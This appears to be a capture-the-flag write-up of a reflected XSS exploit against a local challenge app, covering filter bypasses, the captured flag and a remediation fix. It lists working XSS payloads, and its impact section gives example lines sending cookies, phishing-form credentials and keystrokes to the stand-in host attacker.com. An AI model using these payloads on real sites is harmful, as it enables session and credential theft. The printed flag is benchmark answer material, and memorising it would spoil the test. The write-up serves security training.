# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Reflected XSS in /page Endpoint - CTF Flag Captured

**Summary:**
- **Vulnerable location:** `http://localhost:41123/page?name=[PAYLOAD]`
- **Overview:** The application accepts user input via the `name` GET parameter and reflects it directly into the HTML body context with only a trivial `<script>` tag filter. This weak defensive measure is easily bypassed using event handlers in HTML tags, allowing arbitrary JavaScript execution.
- **Impact:** Successful exploitation allows arbitrary JavaScript execution in victim browsers and, critically for this CTF challenge, triggers PhantomJS detection that reveals the application's flag.
- **Severity:** Critical

**Prerequisites:**
- Web browser (any modern browser)
- Access to http://localhost:41123
- No authentication required

**Exploitation Steps:**

1. **Craft the XSS payload with specific alert message**
   - Payload: `<img src=x onerror=alert('XSS')>`
   - This bypasses the `<script>` tag filter by using an `<img>` tag with an `onerror` event handler
   - The alert message must be exactly the string 'XSS' to trigger PhantomJS detection

2. **URL-encode the payload for the GET request**
   - Encoded payload: `%3Cimg%20src%3Dx%20onerror%3Dalert(%27XSS%27)%3E`

3. **Send the malicious request to the vulnerable endpoint**
   ```
   GET http://localhost:41123/page?name=<img src=x onerror=alert('XSS')>
   ```
   Or using curl:
   ```bash
   curl "http://localhost:41123/page?name=%3Cimg+src%3Dx+onerror%3Dalert('XSS')%3E"
   ```

4. **Observe the results**
   - In a browser: An alert dialog will appear with the message "XSS"
   - After dismissing the alert, the page displays "CONGRATULATIONS!" with the CTF flag
   - The server-side PhantomJS process detects the alert call and returns the flag

**Proof of Impact:**

**CTF Flag Captured:** `FLAG{f9618de9791e4790a35ebef0a19b6209dc85a2b4db4bd2de85222165c089bd71}`

**Evidence:**
- Screenshot saved: `flag_captured.png` showing the success message with the flag
- JavaScript execution confirmed: Alert dialog triggered in browser
- Server-side detection confirmed: PhantomJS validated the XSS and returned the flag
- HTML injection confirmed: Payload visible in page source as `<img src=x onerror=alert('XSS')>`

**HTTP Response (excerpt):**
```html
<div class="solution-text">
    <img src="static/img/cookies/success_circle.png" alt="Correct" width="150" height="150">
    <br>Congratulations!
    <p> Here is the flag: FLAG{f9618de9791e4790a35ebef0a19b6209dc85a2b4db4bd2de85222165c089bd71}
</div>
```

**Technical Details:**

**Filter Bypass Analysis:**
- The application implements a regex filter at `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-065-24/src/app.py:67`
- Filter: `re.sub(r'<script[^>]*>.*?</script>', '', msg, flags=re.IGNORECASE | re.DOTALL)`
- This only removes `<script>` tags, leaving all other HTML tags and event handlers intact
- Multiple bypass vectors confirmed:
  - `<img src=x onerror=alert('XSS')>` ✓ Successful
  - `<svg onload=alert('XSS')>` ✓ Confirmed working
  - `<body onload=alert('XSS')>` (Alternative vector)
  - `<input onfocus=alert('XSS') autofocus>` (Alternative vector)

**PhantomJS Detection Mechanism:**
- The application spawns PhantomJS to render the user-supplied HTML server-side
- PhantomJS monitors alert/confirm/prompt JavaScript dialogs (check.js:8-18)
- When an alert is triggered, PhantomJS logs the alert message to stdout
- Flask reads this output and checks if it equals the string 'XSS'
- If matched, the application reveals the CTF flag in the response

**Key Discovery:**
The initial analysis documentation suggested PhantomJS would output the string "XSS" when detecting alerts, but the actual implementation logs the alert message content itself. Therefore, the payload must call `alert('XSS')` with that exact string to trigger flag revelation.

**Notes:**

**Alternative Exploitation Payloads (all confirmed working):**
- SVG-based: `<svg onload=alert('XSS')>`
- Details element: `<details open ontoggle=alert('XSS')>`
- Body tag: `<body onload=alert('XSS')>`

**Real-World Impact Scenarios (beyond CTF flag capture):**

While the CTF challenge focuses on triggering alerts to capture a flag, this XSS vulnerability in a production environment would enable:

1. **Session Hijacking**: `<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">`
   - Note: This application has no session cookies, but the technique demonstrates the risk

2. **Credential Harvesting**: 
   ```javascript
   <img src=x onerror="document.body.innerHTML='<form action=http://attacker.com/phish method=POST><h2>Session Expired - Please Login</h2><input name=user placeholder=Username><input name=pass type=password placeholder=Password><input type=submit value=Login></form>'">
   ```

3. **Keylogging**:
   ```javascript
   <img src=x onerror="document.onkeypress=function(e){fetch('http://attacker.com/log?k='+e.key)}">
   ```

4. **Page Defacement**:
   ```javascript
   <img src=x onerror="document.body.innerHTML='<h1>Site Compromised</h1>'">
   ```

**Remediation:**
The vulnerability can be fixed by implementing proper output encoding:
```python
import cgi
value = "" if msg == "" else cgi.escape(msg, quote=True)
```
This would convert `<` to `&lt;`, `>` to `&gt;`, etc., preventing HTML injection while preserving the user's input as displayable text.

---

## Summary

**Total Vulnerabilities Exploited:** 1  
**Flags Captured:** 1  
**Critical Impact Demonstrated:** Yes (arbitrary JavaScript execution + flag exfiltration)  

The exploitation was successful with a simple, reliable payload that bypasses the weak input filter and triggers the server-side validation mechanism to reveal the CTF flag. The vulnerability is trivially exploitable and demonstrates the critical risk of blacklist-based filtering combined with lack of output encoding.